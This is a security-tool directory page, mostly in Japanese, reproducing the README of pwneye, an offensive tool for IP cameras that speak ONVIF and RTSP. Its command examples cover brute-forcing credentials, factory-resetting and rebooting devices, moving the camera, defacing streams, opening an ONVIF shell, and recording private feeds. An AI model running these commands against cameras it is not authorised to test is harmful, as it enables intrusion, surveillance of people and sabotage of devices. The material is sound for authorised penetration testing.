Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/hackerest/pwneye
偵察IoTセキュリティパスワード攻撃脆弱性分析エクスプロイト情報収集ネットワークセキュリティペネトレーションテストハードウェアとIoTセキュリティレッドチーミング
GitHubhackerest/pwneye

pwneye

15720141ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

あなたのONVIFおよびRTSPカメラコンパニオン。実世界のセキュリティカメラの発見とハッキングのためのツールです 🎥

リポジトリを見る

pwneye logo

version 1.3.2 codename panopticon Python 3.10+ macOS and Linux GNU GPL v3.0

pwneye は、ONVIF および RTSP サービスを公開するIPカメラを扱うための、焦点を絞ったポータブルな攻撃的セキュリティツールです。セキュリティ研究者やハッカーが、単一のCLIワークフローから、ディスカバリ、認証テスト、メタデータ収集、ストリーム検証、録画、および後続アクションを簡単に処理できるようにすることを目的としています。

現在サポートされている機能には、以下のものがあります。

  • WS-DiscoveryによるローカルネットワークのONVIFディスカバリ
  • 単一の認証情報またはユーザー名/パスワードファイルを使用したONVIF認証およびマルチスレッドブルートフォース
  • デバイス情報、設定済みユーザー、ネットワーク設定、メディアプロファイル、RTSPストリームURIのONVIF認証後列挙
  • ONVIFによるカメラの再起動、工場出荷時リセット、および対話型シェルアクセス
  • CLIと専用ビューアの両方からのONVIF PTZ操作
  • ONVIFによるストリーム改ざんと復元のサポート
  • RTSPポート検出とバナーに基づくベンダー識別
  • 450以上の組み込みベンダー認証情報/接続文字列プロファイルを使用したベンダー対応RTSPブルートフォースに加え、手動ベンダーおよび手動接続文字列のサポート
  • ライブ進行状況出力付きのマルチスレッドRTSPブルートフォース
  • 自動検出、ガイド付き列挙、対話型チャンネル選択を備えたRTSPマルチチャンネル処理
  • DVR/NVRタイプのターゲット向けの、ズームと高速チャンネル切り替えを備えた専用ライブプレビュークライアント
  • RTSPストリーム検証、ffplayによるライブプレビュー、ffmpegによる録画、およびスナップショットキャプチャ
  • 成功したONVIFおよびRTSPの検出結果を~/.pwneye配下にターゲットごとにキャッシュ

デモ

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

目次

  • インストールとアップデート
    • pipx
    • Python
    • 外部依存関係
  • はじめに
  • ONVIF
    • ONVIFが提供するもの
    • ローカルネットワークの列挙
    • 認証情報のブルートフォース
    • カメラの再起動
    • カメラのリセット
    • カメラの移動
    • ストリームの改ざん
    • ストリームの改ざん解除
    • シェルの取得
  • RTSP
    • RTSPが提供するもの
    • ベンダーの識別
    • RTSPブルートフォース
    • マルチチャンネルストリーム
    • ストリーミング、録画、スナップショット
  • ヒントとコツ
  • 謝辞
  • 安全性
  • ライセンス

インストールとアップデート

pipx

GitHubからpwneyeをシステム全体のCLIコマンドとしてインストールします。```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

root@kitploit:~
アンインストールするには:```bash
pipx uninstall pwneye

後で同じGitHubソースからアップグレードします:```bash pipx upgrade pwneye

root@kitploit:~
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

後で同じGitHubソースからアップグレードします:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

root@kitploit:~
### 外部依存関係

使用するモードに応じて、以下のツールが `PATH` に存在することが想定されています:
- `ffplay`
- `ffprobe`
- 録画用の `ffmpeg`

| プラットフォーム | インストールコマンド |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## はじめに

これらをツールへの最速の入り口として使用してください。ここでの目的はすべてのフラグを網羅することではなく、既に知っている内容に応じてカメラでの作業を開始する最も有用な方法を示すことです。

単一のターゲットがあり、`pwneye` にプロトコル選択の作業を任せたい場合は、デフォルトの完全なワークフローから始めてください:```bash
pwneye -t 192.168.1.135

ONVIFディスカバリから始めましょう。同じローカルネットワーク上にいて、RTSPに触れる前にデバイス、ベンダー、ストリームの手がかりを特定したい場合に有効です。```bash pwneye --discover

root@kitploit:~
ONVIFが無関係、利用不可、またはテストしたい内容がすでに分かっている場合は、RTSPから直接開始します。```bash
pwneye -t 192.168.1.135 --skip-onvif

既知または疑わしい認証情報から開始すると、ノイズを減らしてアクセスを迅速に検証できます。```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

root@kitploit:~
既知のパスまたはパステンプレートから開始し、すでにストリームの手がかりがあり、RTSPリクエストを厳密に制御したい場合に使用します。```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

証拠収集は、動作するストリームが見つかった時点から開始します。```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

root@kitploit:~
覚えておくと便利なフラグ:

- `--vendor VENDOR`: デバイスファミリーが既知の場合にRTSPリクエストを削減する
- `-cn, --connection-string PATH`: 既知のRTSPパス、または候補パスを含むファイルを試す
- `--multi-channel`: DVR/NVRタイプのターゲットが疑われる場合に、チャンネルベースのRTSPパスを優先する
- `--threads N`: ONVIFおよびRTSPブルートフォースの並行性を制御する
- `--skip-onvif` / `--skip-rtsp`: 1つのプロトコルにのみ焦点を当てる
- `--no-cache`: キャッシュからの読み取りも書き込みも行わない
- `--fresh`: キャッシュ読み取りを無視するが、新しい発見結果は書き込む

## ONVIF

ONVIFは、カメラ世界における管理・制御側のプロトコルです。実際には、ディスカバリ、認証、メタデータ抽出、メディアプロファイル列挙、ストリームURI取得、再起動などのデバイス操作に役立ちます。

`pwneye`では、ONVIFは通常、認証後の最もリッチなコンテキストを提供し、カメラが何を公開しているかを理解するための最も明確な経路となり、認証されたアカウントが十分な権限を持つ場合には、デバイス上の実際の管理操作へのアクセスを可能にするプロトコルです。

### ONVIFが提供するもの

カメラがONVIFを公開している場合、`pwneye`は以下に使用できます:

- WS-Discoveryを介してローカルネットワーク上のカメラを発見する
- 固定認証情報またはファイルを使用してONVIF認証をテストする
- メーカーおよびデバイスのメタデータを抽出する
- デバイスが公開するRTSPストリームURIを取得する
- RTSPをより積極的に操作する前に、認証後の有用なコンテキストを列挙する
- `--reboot` で認証済みの再起動を要求する
- `--reset` で認証済みの工場出荷時リセットを要求する
- CLIまたは専用ビューアからPTZ対応カメラを操作する
- `--shell` で認証済みの対話型シェルを開く
- `--deface` でONVIF経由のストリーム改ざんを行う
- `--undeface` で最後に保存された改ざんプロファイルを復元する

### ローカルネットワークの列挙

WS-Discoveryを使用して、ローカルネットワーク上のONVIF対応デバイスを特定します:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

発見ループは数秒ごとにプローブを続け、新しく発見されたデバイスのみを表示し、CTRL-C で停止できます。

特定のネットワークインターフェース経由で発見を強制することもできます:```bash pwneye --discover en0 pwneye --discover eth0

root@kitploit:~
When no interface is specified, `pwneye` automatically chooses the default outbound interface and tells you which target subnet it is using for WS-Discovery.

### Bruteforcing Credentials

Run ONVIF-only bruteforce with a fixed username and a password file:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

有用なオプション:

  • --skip-onvif: ONVIF検出と列挙をスキップする
  • -oP, --onvif-port PORT: 特定のONVIFポートをテストする
  • -ou, --onvif-username USER: ONVIFユーザー名、または1行に1つのユーザー名を記載したファイル
  • -op, --onvif-password PASS: ONVIFパスワード、または1行に1つのパスワードを記載したファイル

-ou と -op が指定されていない場合、pwneye は自動的に内蔵の一般的なONVIFユーザー名とパスワードにフォールバックします。

pwneye は、成功したONVIF認証情報をターゲットごとに ~/.pwneye/cache にキャッシュし、--fresh または --no-cache を使用しない限り、今後の実行でそれらを再利用します。

カメラの再起動

ONVIF認証が成功した場合、直接再起動を要求できます。``` pwneye -t 192.168.1.135 --reboot

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!

root@kitploit:~
`--reboot` を使用すると、RTSP プロービングはスキップされます。

### カメラのリセット

ONVIF 認証が成功した場合、ファクトリーリセットを直接リクエストすることもできます:```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

警告: この操作は元に戻せない可能性があり、現在のデバイス設定、認証情報、ネットワーク設定を消去する可能性があります。影響を完全に理解し、実行が明示的に許可されている場合にのみ --reset を使用してください。

--reboot と同様に、--reset を使用すると、RTSP プロービングはスキップされます。

カメラの移動

ターゲットが ONVIF 経由で PTZ コントロールを公開している場合、pwneye はターミナルと専用ライブビューアの両方からカメラを移動できます。

CLI からは、direction,duration を指定して --move を使用します。このフラグは繰り返し指定でき、要求された移動は RTSP プロービングをスキップしながら順番に実行されます。```bash pwneye -t 192.168.1.135 --move right,2 pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3 pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3

root@kitploit:~
受け入れ可能な方向は以下の通りです:

- `left` または `l`
- `right` または `r`
- `up` または `u`
- `down` または `d`

例:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

専用ビューア内でPTZがサポートされている場合、フォーカスされたビューではW、A、S、Dキーでカメラを対話的に動かすこともできます。これは、すでに動作中のストリームがあり、デバイスを調整しながら直接的な視覚フィードバックを得たい場合に便利です。

ストリームの改ざん

ONVIF認証が成功した場合、pwneyeはストリームを直接改ざんすることも試みることができます。```bash pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

root@kitploit:~
`--deface` が行う処理の概要は次のとおりです。

- まず、ターゲットが ONVIF Imaging によるストリームの暗転化をサポートしているかを確認します
- また、ターゲットが再利用可能な ONVIF テキストレイヤーを公開しているかも確認します
- 両方が利用可能な場合、`pwneye` は完全なデフェイスを実行します
- 片方のみが利用可能な場合、`pwneye` はユーザーに警告し、代わりに部分的なデフェイスを提案します
- 何かを変更する前に、`pwneye` はターゲットの復元プロファイルを `~/.pwneye/cache` 配下に保存します

この実装は意図的に保守的で、ベンダーに配慮した設計です。

- 暗転化のステップでは、`pwneye` はベンダー固有のトリックに頼るのではなく、輝度、コントラスト、彩度などのサポートされているイメージング制御を下げます
- テキストのステップでは、`pwneye` は新しい OSD エントリを作成または削除するのではなく、既存の書き込み可能な ONVIF テキストレイヤーを再利用します
- これにより、最終的な視覚結果がファームウェアに依存する場合でも、この機能はさまざまなカメラファミリー間でより高い互換性を実現します

例:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

サンプル結果:

Deface placeholder

ストリームのデフェイス解除

以前の --deface 実行でターゲットの復元プロファイルが保存されていた場合、pwneye はそれを使用して元のONVIF状態を復元できます:```bash pwneye -t 192.168.1.135 --undeface

root@kitploit:~
`--undeface` が行う処理を簡単に説明すると、次のとおりです。

- ターゲットのキャッシュエントリ内に、以前保存された改ざん復元プロファイルを探します
- プロファイルが存在しない場合は、エラーを表示して即座に停止します
- プロファイルが存在する場合は、元の Imaging 設定と元の書き込み可能なテキストレイヤーの復元を試みます
- `--deface` と同様に、最終結果は、ターゲットが ONVIF 経由で許可する内容に応じて、完全または部分的になる場合があります

復元プロファイルは、`--undeface` が成功した後も削除されません。将来の `--deface` が新しいプロファイルで上書きするまで、キャッシュ内に残ります。

例:```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

Getting a shell

ONVIF認証が成功した場合、pwneyeは対話型のONVIFシェルに直接ドロップすることもできます。 これは、現在のワークフローを離れることなく、サービスを調査したり、メソッドを手動で呼び出したり、機能を探索したり、ターゲット固有の操作をテストしたりする場合に便利です。

例:```text pwneye -t 192.168.1.135 --shell

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[info] Opening the interactive ONVIF shell...

This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.

[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc

root@kitploit:~
## RTSP

RTSPはカメラの世界におけるストリーミング側のプロトコルです。通常はライブ映像パスを提供するプロトコルですが、最も断片化されているものでもあります。ベンダーによってパス、チャンネル規約、認証の癖、バナーフォーマットが異なります。

`pwneye`では、RTSP処理はポート発見、バナー取得、ベンダー認識パス選択、ブルートフォースのオーケストレーション、ストリーム検証、プレビュー、録画を中心に構築されています。

### RTSPが提供するもの

RTSPは、ストリームに実際にアクセスできるかどうかを確認するワークフローの一部です。`pwneye`では、これは以下を意味します:

- 一般的またはユーザー指定のポートでRTSPを検出する
- バナーを取得し、ベンダーを自動的に識別する
- ベンダー認識またはユーザー提供のパスに対して認証情報をブルートフォースする
- ストリームを開く前に動作するストリームを検証する
- 証拠としてストリームを録画またはスナップショットをキャプチャする
- ターゲットがDVRまたはNVRのように動作する場合に複数のチャンネルを列挙する

### ベンダーの識別

`pwneye`は、より広範なパス列挙にフォールバックする前に、RTSPバナー取得を通じてRTSPベンダーを自動的に識別しようとします。

自動バナーベースの識別が失敗し、事前の分析からベンダーをすでに把握している場合は、それを直接渡すことでリクエスト数を大幅に削減できます:```bash
pwneye -t 192.168.1.135 --vendor tenda

RTSPバナーのみを取得して終了することもできます:``` pwneye -t 192.168.1.135 --skip-onvif --banner

... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0

root@kitploit:~
有用なオプション:
- `--skip-rtsp`: RTSP検出とブルートフォースをスキップ
- `-P, --rtsp-port PORT`: 特定のRTSPポートをテスト
- `--vendor VENDOR`: RTSPデータベースからベンダーを強制指定
- `--list-vendors`: RTSPナレッジベースがサポートするベンダーを表示して終了
- `--protocol tcp|udp`: RTSPトランスポートを選択、デフォルトは`tcp`
- `--timeout SECONDS`: RTSPタイムアウト、デフォルトは`10`

### RTSPブルートフォース

固定認証情報でRTSPをブルートフォース:```bash
pwneye -t 192.168.1.135 --username admin --password admin

固定パスワードでユーザー名のみをローテーションします:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10

root@kitploit:~
単一のユーザー提供RTSP接続文字列を試す:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

ファイルから候補接続文字列を読み込む:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt

root@kitploit:~
手動パスと固定認証情報を組み合わせる:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

Prefer multi-channel paths when the target is likely a DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel

root@kitploit:~
`-u, --username USER`:RTSP 用户名,或每行一个用户名的文件
- `-p, --password PASS`:RTSP 密码,或每行一个密码的文件
- `-cn, --connection-string PATH`:RTSP 连接字符串,或每行一个连接字符串的文件
- `--multi-channel`:可用时优先使用 RTSP 多通道连接字符串
- `--threads N`:暴力破解引擎使用的并发线程数

如果未指定 `-u` 和 `-p`,`pwneye` 会自动回退到其内置的常见 RTSP 用户名和密码。

`pwneye` 会将成功的 RTSP 凭据和已验证的流元数据按目标缓存到 `~/.pwneye/cache` 下。

缓存行为:
- 默认:在运行全新暴力破解之前,先复用缓存的有效发现结果
- `--fresh`:忽略缓存结果,但仍会用新发现更新缓存
- `--no-cache`:同时禁用缓存读取和缓存写入

### 多通道流

某些摄像头、DVR 和 NVR 会暴露多个逻辑 RTSP 通道,而不是单一的静态路径。典型示例包括如下模板:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

pwneye は、RTSP をプロービングする際に、ベンダー別の RTSP 知識に基づいてこれを自動的に検出できますが、プロセスを明示的に制御することもできます:

  • --multi-channel は、pwneye にナレッジベースのチャネルベースの RTSP パスを優先するよう指示します
  • --connection-string を使用すると、{channel} などのプレースホルダーを含む独自のチャネルテンプレートを提供できます
  • 同じテンプレートロジックは、接続文字列がファイルから取得される場合にも機能します
  • 複数のチャネルが見つかると、pwneye は単一のフィードまたは専用のマルチチャネルビューアを 1 つのウィンドウで開くことができます

例:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt

root@kitploit:~
サンプル出力:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

Open all discovered channels(すべての検出チャンネルを開く)を選択すると、pwneye は専用のマルチチャンネルクライアントを起動し、検出されたすべてのストリームを1つのウィンドウ内に保持します。各フィードはモザイク内でライブプレビューとして表示され、タイルをクリックするとそのチャンネルが拡大されたフォーカスビューに切り替わり、シンプルな Back アクションでグリッドに戻れます。

pwneye dedicated multi-channel client demo

デフォルトでは、ライブRTSPプレビューは専用の pwneye クライアントを使用します。従来のシステムプレイヤーワークフローを好む場合は、--legacy を追加して、検証済みストリームを ffplay で開くこともできます。

専用クライアントが開いている間は、GUIを離れることなく、フォーカスビューから直接 Snapshot と Record をトリガーすることもできます。これは、まずフィードを検査してから、静止画像を保存するか証拠の録画を開始するかを決定したい場合に便利です。

ストリーミング、録画、スナップショット

ライブプレビュー付きで検証済みストリームを開く:```bash pwneye -t 192.168.1.135 --vendor tenda

root@kitploit:~
検証済みのRTSPストリームをプレビュー付きで録画する:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

スナップショットを撮る代わりに、完全な録画を行います:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg

root@kitploit:~
レコードをプレビューウィンドウを開かずに記録する:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)

録画動作:

  • --record [OUTPUT.mp4]:検証済みのRTSPストリームを録画します。省略した場合、~/.pwneye/recordings 配下にタイムスタンプ付きのファイルが作成されます。
  • --snapshot [OUTPUT.jpg]:検証済みのRTSPストリームから静止画を保存します。省略した場合、~/.pwneye/snapshots 配下にタイムスタンプ付きのファイルが作成されます。
  • --no-video:ライブプレビューとデコードをスキップします。
  • 専用ビューアでは、フォーカスされたビュー内で Snapshot と Record アクションを直接実行することもできます。
  • デフォルトの録画は ~/.pwneye/recordings/<target>/ に保存されます。
  • デフォルトのスナップショットは ~/.pwneye/snapshots/<target>/ に保存されます。

ヒントとコツ

もし pwneye がビデオゲームだとしたら、これらはおそらくローディング画面で表示されるヒントでしょう:

  • 強力なWeb UIが安全なカメラを意味するわけではない: Webインターフェースがしっかり保護されているカメラでも、全体として十分に保護されているとは限りません。Web側のロックアウト動作が堅牢でも、RTSPが認証なしのまま、または事実上無制限の試行を許可しているままというケースはよくあります。
  • 可能ならディスカバリを使う: ローカルネットワークで --discover が機能するなら、まずそれを使いましょう。ベンダー情報、デバイスのメタデータ、キャッシュされた発見結果により、その後のRTSP作業がはるかに静かで信頼性の高いものになります。
  • ONVIFを先に試すほうが賢明な場合もある: ONVIFとRTSPは同じ認証情報を共有していることがよくあります。ONVIFが公開されている場合、--skip-rtsp で先にそちら側をブルートフォースするほうが、RTSPを直接叩いてストリームを不安定にするより賢明です。pwneye が有効なONVIF認証情報を見つけた場合、RTSPでも自動的にそれらを再利用しようとします。
  • 既知のベンダーはノイズを減らす: すでにベンダーが分かっている場合は、--vendor を明示的に指定しましょう。リクエスト数が減り、脆弱なターゲットの安定性維持に役立ちます。
  • 既知のパスは盲目的な推測に勝る: パスがすでに分かっている、または推測できる場合は、広範なRTSP列挙の代わりに --connection-string を使用しましょう。リクエストセットをより厳密に制御でき、失敗の解釈も容易になります。
  • レコーダーが複数のフィードを公開している場合がある: ターゲットがDVR/NVRのように見える場合は、単一のストリームしか公開していないと決めつける前に、--multi-channel または手動のチャンネルテンプレートを試してみましょう。
  • 再起動は復旧手段になり得る: 有効なRTSP認証情報があるのにビデオを開けない場合、ストリームは繰り返しのプロービング後に単に不安定になっている可能性があります。ONVIFアクセスも持っているなら、単純ですが効果的な復旧手段は --reboot です。
  • 有効なストリームが常に意味のあるものとは限らない: 一部のデバイスは、誤ったパスや誤ったチャンネルIDに対しても平気でストリームを返します。結果のフィードが実際に異なることを確認するまでは、広範なチャンネル成功はヒントとして扱いましょう。

謝辞

pwneye が使用するONVIFライブラリである onvif-python を提供してくれた @kaburagisec に特に感謝します。 これにより、このプロジェクトのONVIF側の実装が飛躍的に容易で信頼性の高いものになりました。

テスト中に協力し、ONVIFディスカバリのワークフローを含むツールの各部分を改善する有用な提案をいくつか共有してくれた Darix Deros に感謝します。

安全性

pwneye は、所有している、または評価する明示的な許可を得ているアセットに対してのみ使用してください。

このツールは、サービスの列挙、認証のテスト、ストリームのオープン、ビデオの録画、ONVIF管理機能との対話、そして十分な権限があれば、ターゲットデバイスの再起動、リセット、改ざん、その他の動作変更を行うことができます。

目的が証拠収集のみであっても、繰り返しのRTSPプロービングは脆弱なカメラを不安定にし、ONVIF操作は即時の運用上の影響を与える可能性があります。

ライセンス

このプロジェクトはGNU GPL3ライセンスの下で配布されています。 LICENSE.md を参照してください。

ツールをダウンロード